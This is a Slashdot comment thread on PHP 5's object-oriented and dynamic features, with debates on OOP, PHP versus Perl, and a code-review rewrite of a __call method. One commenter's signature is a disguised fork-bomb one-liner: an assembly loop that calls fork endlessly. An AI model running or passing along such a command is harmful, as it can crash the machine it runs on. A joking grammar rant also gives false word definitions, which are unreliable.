Slashdot Mirror


Going Dynamic with PHP

Five-Oh writes to tell us that IBM DeveloperWorks has an interesting article about the OO advantages of PHP V's new features. From the article: "PHP V5's new object-oriented programming features have raised the level of functionality in this popular language significantly. Learn how to use the dynamic features of PHP V5 to create objects that bend to fit your needs."

45 of 222 comments (clear)

  1. PHP's Comeupance by (1+-sqrt(5))*(2**-1) · · Score: 5, Informative
    I rediscovered PHP last week after a year-long hiatus, and was surpised to find that it approacheth Java in reflection and information hiding; that said, there are some lamentable lacunæ:
    • Class constants must be string literals and only string literals (no variables, arrays or objects).
    • Type-hinting is confined to arrays and objects (feature?).
    The unadorned output of phpDocumentor, PHP's analog to JavaDoc, is also suboptimal; for documenting PHP, therefore, go Doxygen.
    1. Re:PHP's Comeupance by Hal_Porter · · Score: 5, Funny

      Dear (1+-sqrt(5))*(2**-1),

      I must say, Sir, that I salute you for your post. Not only is in Informative, it is also well drafted in the Queens English, not in the debased language of Internetland. Furthermore, you have managed to obtain the coveted pole position of posters, so to speak. As I write this epistle of congratulations, I shall drink a toast of finest port wine to you, and I wish that your correspondence with the world shall continue for all eternity.

      If I may be so bold as to trouble you with two requests, it would be these. Firstly, may I post a copy of your memorandum above the post to which I fasten my servants when I whip them for dumb insolence and/or sundry grammatical errors, including the splitting of infinitives or the use of the accursed Internet language? Secondly, my wife is expecting our first child, conceived soon after she spent a night in my servants quarters, teaching them virtue of prayer. Would it be presumptive of me to command her to name her baby (1+-sqrt(5))*(2**-1). We are unsure at present of the sex of the baby, since we have emigrated to the 19th Century to escape the linguistic slovenliness of the later epochs, but we feel that such a name would distinguish a child of either gender?

      Yours, etc
      Hal Porter, esq.

      --
      echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
    2. Re:PHP's Comeupance by sweetnjguy29 · · Score: 3, Informative

      Learned a new word: lacunæ (latin for lake) -- in this context, a gap. Well done, sire!

    3. Re:PHP's Comeupance by stonecypher · · Score: 2, Informative
      Well as long as you bring up grammar:
      1. Sir is not capitalized. This miscreant tendency is American ignorance of the proper title Sir as given during knighthood by royalty. You may call Sir Edmund Hillary with the capitalized Sir. Given your obvious deep familiarity with the 19th century, perhaps I should also refer to Sir Mick Jagger. Some random person on Slashdot most likely has not attained such a title.
      2. "is it informative" - you've got a typo, and informative is not a proper noun, even when cataloguing moderator points.
      3. As an aside, please don't refer to something as informative unless you know privately. As I display in another reply, in fact the parent post to which you refer is bunk.
      4. To debase is to make immoral, not to water down with ill speech.
      5. To draft is to draw, sketch, or make a crude preliminary version of something. Whereas speech can be drafted, unless this is a particularly subtle insult - which your usage of language suggests that it is in fact not - then what you are looking at is a final copy, not a draft. Even email programs get this one correct.
      6. Queen's English is posessive.
      7. It's called the King's English. The Queen's English is a reference to specifically Queen Victoria, and was a temporary tipping of the hat to the first gynarch generally recognized by Britons. We do not continue to tip our hat to her.
      8. It's hard to tell whether a reference to proper English, immediately followed by the appalling "Internetland," is intentionally tongue in cheek. As a rule of thumb, if people aren't sure whether you're joking, then your joke has failed.
      9. To obtain is to take something which someone else had had previously. Given that frist psot!!1!eleven is not something which can be stolen away from someone else, to use obtain in this fashion is ill.
      10. To covet is to desire or lust for something sexually; it comes through Old High French's "covitiere," thence from Latin's "cupidere," the cherub of Eros. If you covet first post, seek help.
      11. Furthermore appropriately follows further. You've gone from first to third. Further, it makes you look stupid. Furthermore, it should be stated in the fashion I've just given.
      12. Epistles are letters sent by clergy as regards scriptural canon. Even were you the Pope of Grammar, which you are not, this would be incorrect.
      13. "So to speak" is the verbal equivalent of the better-recognized editorial "[sic]." It indicates specifically that you are repeating what someone else has said verbatim, despite being aware of language errors of some or another form. Hence, if I were to say that you had said "pole position of posters, so to speak," so to speak, I would refer to your inane use of the phrase "so to speak."
      14. Congratulation is singular. To refer to congratulations is to refer to a group of such statements, or to such a statement given to a group as a set of individual congratulatory statements. That said, I do applaud your use of the contextually accurate accolade, and hereby give you congratulation therefore.
      15. A toast, in the context of wine, is a speech. You cannot drink a speech.
      16. One drinks for you, not to you.
      17. It is common misconception that the word concieve may be used to refer to impregnation. To concieve a child is to begin to attempt impregnation. Many people who concieve a child never have children, and in most cases time is taken between conception and impregnation.
      18. Correspondance is the third or latter piece of a private exchange between a small group. This is an edict, if anything.
      19. You wish that something should, not that it shall. Shall is affirmative. The sun shall continue to rise. Something which is indefinate should continue. Murder should remain illegal. Wishing for something definate is silly.
      20. The idea that a correspondance would be eternal is a bit chee
      --
      StoneCypher is Full of BS
  2. If you're going to be this generic... by xxxJonBoyxxx · · Score: 2, Insightful
    If you're going to be this generic, why lock each class to a single table? (Why not let the name of the table be an argument as well?)

    The answer would seem to be that there is no input validation or output interpretation going on in this sample. So, you can either write a switch block that makes sure your integers are in valid ranges, etc. or go back to individual properties. (Six dozen of one, half of the other.)

    1. Re:If you're going to be this generic... by sammy+baby · · Score: 5, Funny
      My issue with databases and all that is that they are not abstract enough. Either one must create a new table when one wishes to implement a new feature, or one must develop some extremely generic database that is hard to search.

      Well, you could always create a single-table database. Call the single table "Stuff," put a generic autoincrementing key on it, and give it two more columns: a type identifier and a serialized object that contains all the data.

      Of course, you could also stab yourself in the eye. Might be preferable.
  3. Experiences by truthsearch · · Score: 5, Interesting

    It's a huge step forward for OO development in PHP.

    BUT it's still got all the crud of PHP4. For those transitioning from PHP4 objects one great feature is the new warning when using the older style of classes. However all of those things people find quirky about PHP4 still exist. For example, now you can force a function parameter to be a certain type of object, but not a basic type. You still can't even fully overload a function.

    My view is that it's two steps forward and one step back. They need to consider deprecating features and making a php.ini option to not allow the use of any deprecated features.

    1. Re:Experiences by T-Ranger · · Score: 2, Informative

      You have the choice of either type hinting OR function overloading. If you use type hinting, you have to pass that function exactly those types (and not a null, either) . And its not realy function overloading; you, as the developer, need to resolve what your being passed. Most everything else that allows overloading, you write multiple functions, and the compiler decides what to do.

    2. Re:Experiences by Tenareth · · Score: 3, Insightful

      Yeah, the inability to scale is the primary reason all the porn sites use it...

      And why we have a lot of high traffic sites that have no issue with it...

      Threading != Scalability. Threading is only needed if you do certain types of tasks that need it.

      In programming, there is no silver bullet, there are lots of tools suited for different jobs, PHP fits in a lot of those places, Java in others, other languages elsewhere. Threading isn't a "Oh, I'll multithread it, that'll make it faster" type of magic button.

      --
      This sig is the express property of someone.
    3. Re:Experiences by shmlco · · Score: 2, Informative
      "At that point function names could be standardized..."

      YES!!!! Not just names, but parameter order as well. Most the functions work one way, but there are just enough that reverse target parameters that you can never be quite sure you got it right.

      PHP: Over a billion functions served... and counting.

      --
      Any sect, cult, or religion will legislate its creed into law if it acquires the political power to do so.
    4. Re:Experiences by masklinn · · Score: 2, Insightful

      technically there is nothing python can do that php can't

      Turing-completeness also states that, technically, there is nothing Python can do that Whitespace can't. That doesn't mean you have to use Whitespace..

      --
      "The way we can tell it's C# instead of Haskell is because it's nine lines instead of two." -- wadler
  4. Re:PHP 4 V. 5 by drpimp · · Score: 3, Informative

    This page actually has alot of links of changes and new features. What's New

    --
    -- Brought to you by Carl's JR
  5. Re:PHP 4 V. 5 by lbft · · Score: 5, Informative

    There's a good summary on Zend: http://www.zend.com/php5/andi-book-excerpt.php

    Basically, PHP 5 adds proper object support (think Java-style) including iterators for objects, and new extensions add good XML support, SOAP, SQLite, better MySQL support (prepared statements, OO interface, etc.)

    I'd recommend reading Adam Trachtenberg's book Upgrading to PHP 5 if you're familiar with PHP 4.

  6. OOP by onion2k · · Score: 5, Insightful

    I'm a fan of using objects in the right place .. but to suggest they increase the functionality of a language is simply wrong. They allow for better (well, different) organisation of code, easier reuse, and improved encapsulation over procedural or functional coding styles, but they don't actually allow you to do anything that can't be done using any other approach. The functionality of the language remains the same.

    1. Re:OOP by IgnoramusMaximus · · Score: 4, Insightful
      I don't want to start an OOP war, but am just suggesting that people not use objects just because somebody says to (unless they are your boss and order you).

      I am with you on this one, although, unlike you, I used to be swept up at one time in all the early OO hype to a degree (back in the Smalltalk days - which by the way is probably the only coherent OO environment), only to realise, by experience, that it was for the most part just that: unsubstantiated hype. Object Orientation has applications, notably in situations close to its original aims of simulation of physical universe (as in the Simula language which started it all), which in modern software is found in things like PC games. But this paradigm has been overused, abused and stretched beyond its breaking point to try to cover all possible cases, no matter how ill fitting. And in the process it has consistently failed to deliver on most of its promises (other then to pad pockets of various charlatans and OO "framework, IDE, grill and taco stand" makers). My experience has thought me that contrary to what OOP priests wish us to believe, "complexity hiding" (usually by masking it by more OO-gunk complexity) is not the answer to reusability, cooperative maintenance and so on. The answer is: simplicity. That is the most maintainable code is the one which can be fully understood, with ease, by the programmer. OOP does not do that. In fact it introduces a whole new gamut of problems dealing with the hidden workings of pyramidal heaps of classes found in any OOP "framework", each with its own weird quirks and inconsistencies, from which you are supposed to "derrive" your own, as long as you adhere to a million of unwritten and poorly documented rules of use of these, supposedly, "reusable" and "extensible" components. Not to mention that it actively encourages creation of massive, incomprehensible class jungles as one can easily see in places like the JDK.

      Speaking of PHP, its success can be attributed to its simplicity, ease of use and short learning curve. If they keep continuing to "innovate" new piles of ever more trendy crap into the language, it will soon (already is?) lose this advantage. It won't be long before someone comes up with another simple server-side language to replace the morass and the enthusiatic crowds will move onto this new "lighning fast, low footprint" language and begin to "improve it". Rinse, repeat.

    2. Re:OOP by ctr2sprt · · Score: 2, Insightful
      If you're a programmer, I guarantee that you're using OOP even if you don't use an OOP language.

      Consider the Unix read() function, which can read from any file descriptor: regular file, block or character special, socket, and so on. If you were to write such a function in C, you'd write some code to determine the underlying type of descriptor. Then, based on that type, you'd call a helper function - read_file(), read_special(), read_socket() - to perform the actual read.

      Guess what? That's OOP. The file descriptor is the object. The code at the top of read() is determining the object type (or class). And the helper functions are class methods. If this is a big project, odds are you'll put all the helper functions for sockets in socket.c, for files in file.c, and so on. And there we have encapsulation (of the namespace variety) too.

      As noted many times, you can write an OOP in any language. It's just easier to do it in a language that's designed for it. The compiler (or interpreter) does more of the work for you. For instance, you don't need to write the type-checking code, nor do you need to pollute your namespace and worry about collisions. And if you later want to add a new descriptor type, such as for a userland memory-based file, all you need to do is write a new class. All the functions or classes which operate on the other descriptor types will work, unmodified, on the new type. (That's the real code reuse: on the application side, not the library side.)

    3. Re:OOP by yintercept · · Score: 2, Interesting

      OOP is transcendant. OO programmers are on a higher level of existence than procedural programmers. When I OOP, I am charged revolutionary spirit. It feels great! I love thinking in objects and discussing patterns while smoking a pipe in an easy chair.

      Sadly, the main use for PHP is to jam out a script to get a job done. Much as I love objects. I can't help but notice that my primary use of PHP is to grab a string of data from MySQL, pack some HTML around it and present the string to a web server. Writing code to translate a string from a database into HTML is not substantially enhanced by OOP.

      When I want a full object model ... I really don't want to use a scripting language.

      As much as I love the revolutionary spirit of OOP, I worry that maybe there's a part of me that is still just petty bourgeoisie. Even with PHP 5, I find that my PHP code comes out in the form of procedures. The game of wrapping a string from a database in HTML code is easier with procedures.

      It makes me feel shamed, but, I still keep writing procedures.

    4. Re:OOP by IgnoramusMaximus · · Score: 4, Insightful
      Let me take this silly argument to its full comical potential:

      If you're a programmer, I guarantee that you're using SEP (Spiritual Extrusion Programming) even if you don't use a SEP language.

      Consider the Unix read() function, which can read from any file descriptor: regular file, block or character special, socket, and so on. If you were to write such a function in C, you'd write some code to determine the underlying type of descriptor. Then, based on that type, you'd call a helper function - read_file(), read_special(), read_socket() - to perform the actual read. Guess what? That's SEP. The file descriptor is the Spititual Manifestation of a Concept. The code at the top of read() is determining the object type (or Spiritual Element). And the helper functions are Spiritual Invocations. If this is a big project, odds are you'll put all the helper functions for sockets in socket.c, for files in file.c, and so on. And there we have Spiritual Encapsulation (of the namespace variety) too.

      As noted many times, you can write an SEP in any language. It's just easier to do it in a language that's designed for it.

      And so on, etc.

      Newsflash: all of the concepts you describe are 1) long in existence before your favourite paradigm arrived on the scene so that you can try to contort them into it, and 2) can be interpreted ad infinitum with any of the millions of "paradigms" one can concoct on the spot. That is because your paradigm is merely a perspective and not an universal (and only) truth. The whole point of abstract formulations, such as computer software, is that they can conform to nearly infinite number of perspectives and can be projected onto the real, physical universe in an equally large number of ways, which is what makes this whole Information Technology thing so powerful.

      But I fear that long after OOP has been relegated to the dusty bin of history, some ctr2sprt of the future will still argue about how you are really always writing "Quantum Parallax" code, even if you are you are not ...

  7. Hosting services stuck on PHP4 by cknudsen · · Score: 4, Informative

    I'd love to take advantage of some of the PHP5 features. However, most hosting services are still stuck on PHP4. How long has it been now? I am the project manager for WebCalendar, and just like during the transition from PHP3 to PHP4, it's going to be some time before we can drop "legacy" support for PHP4 and take advantage of the cool new features of PHP5. So, for now, WebCalendar and other open source apps will have to stick to PHP4.
    FYI.... PHP developer articles updated daily:
    http://www.devpointer.net/browse.php?l=p&t1=1
    RSS:
    http://www.devpointer.net/browse.php?l=p&t1=1&fmt= rss1

    --
    http://www.k5n.us
  8. Not The Best Choice For Maintainable Code by tres · · Score: 3, Insightful
    From the article:


    Dynamic objects have a lot of power, but they also carry significant risk. First, the complexity of classes increases tremendously when you start writing magic methods. These classes are harder to understand, debug, and maintain. In addition, as integrated development environments (IDEs) become more intelligent, they may experience problems with dynamic classes such as these because when they look up methods on a class, they won't find them.


    This is what I was thinking the entire time I was reading the article. I mean, it's one thing to have to whip up some small project for yourself, it's another to build a project that is maintainable by a group of people.

    I'd bet that Brian W. Kernighan and Rob Pike (The Practice of Programming) would probably recommend against using it. It doesn't provide for clarity, nor does it simplify, it just makes things "easier" for the guy that writes the original code.

    --
    Notes From Under *nix: blas.phemo.us
  9. Re:PHP 4 V. 5 by Foofoobar · · Score: 4, Informative

    PHP5's object are passed via reference by default. Public/Private function and variables in classes are also now supported. The language as a whole has better OOP support and the underlying engine is alot faster as well.

    Also, some deprecated functionallity has finally been dropped. All in all, I've been using PHP5 for awhile now and everything works alot faster as a whole (as I use it with Apache 2 as well).

    One note that might concern you, PHP5 does not come with MySQL built in anymore. You either have to download the update or compile it yourself. It's nice for those who want to use something aside from MySQL and don't want to have to keep it the module loaded constantly but it's also a pain for the beginner hobbyist who has never had to deal with installing the MySQL module for PHP.

    --
    This is my sig. There are many like it but this one is mine.
  10. Kinda Like Ruby by pkulak · · Score: 3, Insightful

    So, it's got some of the features of Ruby now, plus a whole lot of crap dragged in from PHP 3 and 4 inluding that crazy mishmash of a function library? Boy, sign me up.

  11. I would like to be the first to say... by Yuioup · · Score: 4, Funny
  12. Re:PHP by Ford+Prefect · · Score: 4, Funny
    PHP: The Language For People Who Can't Code Perl

    Oh, but everyone (and everything) can code perl - the trick is to hit the keys in a sufficiently random manner.
    A$u^UD&KRWTuKUI^R&54$%A%ERYTi:",<%$E^%L<E%@$U%^*E
    There. That's either a full-featured web-browser, or a worm which will destroy the entire internet. I don't really dare to run it... ;-)
    --
    Tedious Bloggy Stuff - hooray?
  13. Crap... by A+beautiful+mind · · Score: 4, Funny

    I've clicked to another tab to browse at some other site and then I've seen suddently:

    "Slashdot | Going Dynamic with PHP"

    ...as the title of the Slashdot tab. It gave me the creeps until I remembered whats the article about. Phew.

    --
    It takes a man to suffer ignorance and smile
    Be yourself no matter what they say
  14. Re:PHP by deep44 · · Score: 4, Funny

    Can anybody else read this comment? My browser keeps crashing..

  15. Any fool can code Perl... by iBod · · Score: 4, Insightful

    Any fool can code Perl, just like any fool can code PHP/C/Java/VB/Smalltalk/COBOL etc. etc.

    Anyone can write code, but very few can write really great code, that reduces the problem to the essential elements and uses the simplest approach to the problem, with the tool (i.e. language) in hand.

    You can write shit code in ANY language. You can also write good code in ANY language (within the limitations of the language).

    What you're saying is like "Spanish for People who can't speak in German".

    It's nonsense and insulting at the same time.

    You need to express yourself or solve the problem within the framework of the language you have.

    You might choose a different language for a particular task, but if the language is a given, a good poet (or programmer) will make the best of it.

    A better language doesn't make one a better programmer (or poet).

    1. Re:Any fool can code Perl... by panaceaa · · Score: 2, Insightful

      A better language doesn't make one a better programmer

      I agree with this point for good programmers, but for inexperienced programmers a better language can certainly make one a better programmer. The common example is VB, which allows people with basically no programming experience to develop simple applications. But even Java's success in enterprise software is due to the proliferation of design patterns such as EJBs and MVC -- which have basically been ingrained into the language itself. These patterns allow a team of inexperienced programmers to separate complex projects into manageable pieces and use well established integration points.

      Without Java's patterns many teams would be unable to come up with coherent systems in a timely manner. Projects would instead stumble while developers try to invent new architectures and learn from their mistakes. In addition, the adoption of these shared principals makes it much easier for new developers to jump into a project since the underlying design is likely similar to previous projects -- even if the code itself is absolute crap. Therefore the programmer who coded the absolute crap IS a better programmer since his code is still maintainable due to the choice of language.

  16. Re:PHP by Unski · · Score: 4, Funny

    Or actually, the language for people who want a specific tool for a specific job. What is it with this tedious Perl clique on Slashdot? There are, I presume, plenty of other language-based cliques on /. , however the most vocal ones always seem to be the Perl-mongers. They're the ones who seem to pipe-up the most regardless of topic.

    And, for some reason, I'm always left with this mental image of a tall, pasty elder geek sitting in that proverbial Mom's Basement, pulling on his long pointy beard whilst his Gentoo box spends it's 28th hour compiling a boot-loader or something, smirking as he sees his, ahem, 'Perl of Wisdom' slide down the Slashdot page like a turd in summer.

    I just fucking hate you, why bother posting at all?

    Perl: The Language for People Who Can't Be Arsed to Investigate the Right Language For The Task At Hand.
    Perl: 'Cos You Never Really Moved On.
    Perl: Why Use the Standalone Screwdriver When There Is A More Fiddly One Attached To This 52-Way Swiss Army Knife?

    * Retrieves dummy and calms down *

  17. Interesting, but ... by isolationism · · Score: 2, Interesting
    ... There hasn't exactly been widespread adoption of PHP5 at commercial hosting interests, has there. I see PHP's greatest strength being its widespread adoption, not its OO model -- and it doesn't do a lot of good to develop using a technology that is effectively unavailable to host your application unless you want to set up your own co-located server to do it (e.g. even top-notch managed services like Rackspace still come with PHP4).

    Perl is another alternative, and admittedly a pretty popular installation (I imagine anywhere that offers PHP hosting also offers Perl) -- but for someone like me who wants to do the occasional scripting the language is not exactly ideal -- nor is it especially easy to read someone else's code. I think Perl developers are incidentally the most "guilty" party of poorly commented code in FOSS projects, which doesn't help matters.

    As a designer and occasional scripter I was interested in learning more PHP at one time, but now I feel as though it's a bit of a dead end, especially for "bigger" projects. Learning Python seems to be time better spent at this point; I can run a native interpreter as well as Java and .net based interpreters to handle more "enterprise-sized" projects; Python has a stronger OO foundation than PHP in existing versions, is designed to easily integrate with C modules, and reads easily. It's also shown itself to be equal to a broad spectrum of applications from commercial tax forms software (QuickTax) to web application frameworks (Zope) to HTPC frontends (Freevo) to P2P software (BitTorrent).

    As for PHP, roll me over when version 5 is standard across the board and I'll consider taking another look at it.

  18. Re:Infighting between PHP and Perl? by shobadobs · · Score: 2, Funny

    No, they are like completely different. About the only thing they have in common is $ in front of scalar variable names, some is-it-a-string-or-is-it-a-number situations, and C-style loops and if statements.

  19. Re:PHP 4 V. 5 by Anonymous Coward · · Score: 2, Informative

    For the beginner/hobbyist I found LAMPP, more specifically XAMPP, to be very easy to use. The newest version came with PHP5 and mysql 4.1 (i think). It installs in minutes and works on linux and windows.

  20. DB_DataObject by schmidt · · Score: 2, Informative

    There is an implementation of this idea (and more) in PEAR's DB_DataObject package:

    http://pear.php.net/manual/en/package.database.db- dataobject.php

  21. Re:PHP by nbritton · · Score: 4, Funny

    @P=split//,".URRUU\c8R";@d=split//,"\nrekcah xinU / lreP rehtona tsuJ";sub p{
    @p{"r$p","u$p"}=(P,P);pipe"r$p","u$p";++$p;($q *=2)+=$f=!fork;map{$P=$P[$f^ord
    ($p{$_})&6];$p{$_ }=/ ^$P/ix?$P:close$_}keys%p}p;p;p;p;p;map{$p{$_}=~/^[ P.]/&&
    close$_}%p;wait until$?;map{/^r/&&<$_>}%p;$_=$d[$q];sleep rand(2)if/\S/;print

  22. Re:PHP 4 V. 5 by Parham · · Score: 2, Insightful

    Your comment is true, but the same can be said about Perl (it just sounded like you were putting down PHP only).

  23. Re:PHP 4 V. 5 by jZnat · · Score: 2, Insightful

    This is what frameworks are for. Security and performance conscious people like myself write them so that other neophytes and developers alike can make good PHP apps without worrying about those things.

    --
    'Yes, firefox is indeed greater than women. Can women block pops up for you? No. Can Firefox show you naked women? Yes.'
  24. Re:PHP 4 V. 5 by jZnat · · Score: 2, Interesting

    PHP5 uses MySQLi which has both a procedural and object-oriented interface, and it supports features from MySQL 4 and 5 such as transactions and stored procedures. The old MySQL libraries are technically for MySQL 3, so there's not much need for those anymore.

    Then there are PHP Data Objects for a unified database interface (although it is a bit primitive when compared to PEAR DB and other DBIs).

    --
    'Yes, firefox is indeed greater than women. Can women block pops up for you? No. Can Firefox show you naked women? Yes.'
  25. OO and PHP? What's the fuss.. by PietjeJantje · · Score: 2, Interesting

    I've almost never seen OO been put to good use with PHP. It's used exclusively as a tool for the developer to write, as the author puts it, "more maintainable code". However, with the (lack of) real complexity and sprawling code bases which accounts for most web sites, it just adds complexity by adding a "system" for the developer.
    Forgetting the developer, it adds nothing, and has a major impact on speed and memory. It adds nothing as in 99,9% of the times I've seen it used, it's 1) stateless and 2) a collection of single object instances (one page, one database connection, one user, etc.).
    In a lot of cases, I think the programmers would have been a lot better of just seperating the logic in functions and few files, and then he can understand his own code after a few months off it.

  26. Re:PHP 4 V. 5 by masklinn · · Score: 4, Insightful

    Not enforcing Object Oriented programming is actually a very good thing, one of the few good things in PHP5.

    Giving the option to use OOP (with a good object system, which PHP doesn't have) is good, forcing it on the poor user and preventing him to write as much as a line of code outside of a damn class is stupid, and is a god damn failure of both Java and C#.

    While OOP is a good idea for some problem, others are better solved using more imperative or functional styles. That's why I much prefer Ruby or Python to Java: while they have great object models, they don't try to beat you with an ugly stick if you don't wrap every damn thing in a useless class that is only here because the language absolutely forbids you from doing otherwise.

    --
    "The way we can tell it's C# instead of Haskell is because it's nine lines instead of two." -- wadler
  27. Ruby? by Some+Random+Username · · Score: 2, Insightful

    You mean kinda like every language that supports OO design? None of this is even remotely ruby specific, or even ruby inspired.

  28. Re:PHP by DavidTC · · Score: 3, Interesting
    There are, I presume, plenty of other language-based cliques on /. , however the most vocal ones always seem to be the Perl-mongers. They're the ones who seem to pipe-up the most regardless of topic.

    They are always upset when anyone chooses any other language for any purpose, because, in any touted feature of any language, you can do exactly the same thing almost exactly the same way in Perl, but better. That is not sarcasm, I am not being ironic, it is flatly true. Often you can literally cut-and-paste the code.

    Other languages have an easy way to do something, and a correct way to do something, and a stupid way to do something you get from newbies. You can usually figure out what any line talking about in thirty seconds once you grasp the syntax. (Which, admittedly, can take a bit of time, like with COBOL and Lisp, for examples of languages with semi-odd syntaxes that are not in any other way alike.)

    Perl has all those ways, and one hundred others. This is not an exaggeration. You can write BASIC in Perl, you can write PHP in Perl, you can write C in Perl, you can write Lisp in Perl, you can write C++ in Perl.

    You sit two programmers of a medium skill level and have them write asm, and they will write identical code. You have them write C, and they will write near-identical code. You have them write PHP, and they will be roughly the same. You have them write Perl, and sometimes one of them will come up with at least one line that the other doesn't immediately recognize, because one of them basically writes PHP in Perl, and the other basically writes C++ in Perl.

    This isn't limited to Perl. Programmers often write C in C++, or PHP 4 in PHP 5. When languages get new, better ways to do something, you end up with an 'old style' and a 'new style' and people can upgrade the language itself without upgrading the style they write in. Other people work on their codebase and put in 'new' stuff, and the old guys are baffled.

    Perl is merely the only language that has ever deliberately done this. Perl is like being able to write in any programming style you want, at any time, using a semi-consistent syntax, along with features that no other language likes, like $_. Perl fanatics are under the mistaken impression this is somehow a feature, as opposed to making it fucking impossible to ever read any Perl code unless it happens to be written in the style you know.

    --
    If corporations are people, aren't stockholders guilty of slavery?
  29. Re:[OFF] Re:PHP's Comeupance by caffeination · · Score: 2, Insightful

    You're really overreacting mate, especially since the kind of english being put down is the sort that's poor and lazy when the speaker could just as easily speak normal english. At least you included the word somehow as a handy comfort zone.
    Now, how to take away the flamey tone of this reply? Common ground!

  30. Re:PHP 4 V. 5 by lbft · · Score: 2, Informative

    With the MySQLi extension (the 'i' stands for improved) you basically call methods on/read properties of a mysqli object rather than passing a resource to procedural functions, get a mysqli_stmt object when you prepare a statement, get a mysqli_result object back from a query, etc. It's clearer and neater than the old way and it opens up opportunities for using some of the newer features like iterators.

    Sorry if it sounded like I meant that it does schema-reading magic and presents your tables to you as objects or something (although I don't doubt that there's code out there somewhere that does it, and it'd be very doable by implementing appropriate _get, _set and _call methods on your particular object. Look at the SOAP extension for an example of that sort of thing.)

  31. Awful use of regex by 1110110001 · · Score: 2, Interesting
    The call method has a preg_match, which is not needed and doesn't match right:
    function __call($method, $args) {
      if(preg_match("/set_(.*)/", $method, $found )) {
        if(array_key_exists($found[1], $this->fields)) {
          $this->fields[$found[1]] = $args[0];
          return true;
        }
      } else if(preg_match("/get_(.*)/", $method, $found)) {
        if(array_key_exists($found[1], $this->fields)) {
          return $this->fields[ $found[1] ];
        }
      }
      return false;
    }
    There is so too much wrong with this simple method:
    • Double quotes altough single qoutes would do it
    • No circumflex at start of regex, thus somerandomshitset_foobar also matches
    • Code is duplicated (array_key_exists)
    • Null would fit much better if someone is trying to use a random name as getter, false could be a valid value for a field
    • $args is used but not checked
    • A string is splitted with an regex?!


    Let's see how it can be done better:
    function __call($method, $args) {
      list($type, $field) = explode('_', $method, 2);
      if(!isset($this->fields[$field])) {
        return null;
      }
      if($type == 'get') {
        return $this->fields[$field];
      }
      if($type == 'set' && isset($args[0])) {
        $this->fields[$field] = $args[0];
        return true;
      }
      return null;
    }
  32. While we're on the subject of OOP and PHP... by cwf0621 · · Score: 2, Informative

    My firm is a fairly big fan of WASP (http://wasp.sourceforge.net/). Check it out.